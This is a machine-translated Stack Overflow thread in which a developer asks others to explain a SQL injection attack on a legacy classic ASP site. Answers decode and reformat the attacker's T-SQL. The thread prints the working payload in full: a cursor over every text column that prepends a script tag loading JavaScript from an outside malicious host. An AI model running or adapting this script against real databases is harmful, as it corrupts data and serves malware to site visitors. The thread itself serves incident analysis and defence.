有人能向我解释这个SQL注入攻击吗?

Jak*_*kub 46 sql xss sql-injection asp-classic

我想在这里发帖,因为它与编码有很大关系,本周我必须在我公司的旧ASP(经典)网站上清理.

我们受到了几天前运行的SQL注入攻击的打击,但是我正在摸不着对于SQL服务器(通过这些SQL查询)的"损坏".

说实话,我认为这是非常巧妙的,并且我的公司因为拥有一个几乎没有消毒输入的旧的10年历史的网站而错.

攻击:

122 +声明+%的40s + VARCHAR%284000%29 + +设定40年代%%3Dcast%+ AS + VARCHAR%284000%29%29 + EXEC%28%40年代%29-

它解释为:( 我想要了解的)

set ansi_warnings off DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in ('nvarchar','varchar','ntext','text') and c.CHARACTER_MAXIMUM_LENGTH>30 and t.table_name=c.table_name and t.table_type='BASE TABLE' OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=''"></title><script src="http://lilXXXXXXXop.com/sl.php"></script><!--''+RTRIM(CONVERT(VARCHAR(6000),['+@C+'])) where LEFT(RTRIM(CONVERT(VARCHAR(6000),['+@C+'])),17)<>''"></title><script'' ') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
Run Code Online (Sandbox Code Playgroud)

我们已经恢复了备份(预注入)并浏览了整个应用程序并清理了所有输入语句.我们的服务器是防火墙的,所以没有直接的SQL访问,但我想知道还剩下什么,我不得不承认SQL查询是我的头脑.

有人可以解决它并为我解释攻击SQL吗?

APOLOGIES我更新了完整的DUMP和SQL

rua*_*akh 57

只是为了便于阅读而格式化它将澄清很多:

set ansi_warnings off

DECLARE @T VARCHAR(255), @C VARCHAR(255)

DECLARE Table_Cursor CURSOR FOR
    select c.TABLE_NAME, c.COLUMN_NAME
      from INFORMATION_SCHEMA.columns c,
           INFORMATION_SCHEMA.tables t
     where c.DATA_TYPE in ('nvarchar','varchar','ntext','text')
       and c.CHARACTER_MAXIMUM_LENGTH > 30
       and t.table_name = c.table_name
       and t.table_type = 'BASE TABLE'

OPEN Table_Cursor

FETCH NEXT FROM Table_Cursor INTO @T, @C
WHILE(@@FETCH_STATUS=0)
BEGIN
    EXEC ( 'UPDATE [' + @T + ']
               SET [' + @C + '] =
                     ''"></title>'' +
                     ''<script src="http://lilXXXXXXXop.com/sl.php"></script>'' +
                     ''<!--'' +
                     RTRIM(CONVERT(VARCHAR(6000),[' + @C + ']))
             WHERE LEFT(RTRIM(CONVERT(VARCHAR(6000),[' + @C + '])), 17)
                     <> ''"></title><script''
           '
         )

    FETCH NEXT FROM Table_Cursor INTO @T,@C
END

CLOSE Table_Cursor

DEALLOCATE Table_Cursor
Run Code Online (Sandbox Code Playgroud)

它遍历每个表的每个文本列,并在其中插入一些HTML - 包含指向外部生成的JavaScript的指针的HTML.

  • +1就像你花了一些时间格式化它,欢呼! (18认同)

Jer*_*ins 15

它循环遍历所有表中的所有列,并通过添加<script>源标记为恶意JS文件的标记来更新其值.

重要的是

DECLARE Table_Cursor CURSOR FOR 
select c.TABLE_NAME,c.COLUMN_NAME from 
INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t 
where c.DATA_TYPE in 
Run Code Online (Sandbox Code Playgroud)

我猜这里省略了一些东西,语句可能以('varchar','char','text')或类似的东西结束,所以它只是试图更新包含文本的列.他们希望其中一个栏目中的文字会被拉入你的网站,所以在他们将JS引用添加到它之后,它将被包含在各种页面的来源中.

要解决这个问题,你应该做类似的事情 - 遍历包含文本的所有列,并用空字符串替换注入的脚本.谷歌将成为你的朋友,但这里有一个非常好看的链接,应该有助于设置一个脚本来做到这一点.

http://blogs.lessthandot.com/index.php/DataMgmt/DataDesign/the-ten-most-asked-sql-server-questions--1#2

  • 好吧,我们回滚到以前的数据库备份,这很好,我只是担心SQL做了更多的事情而不是附加到`varchar`字段 (2认同)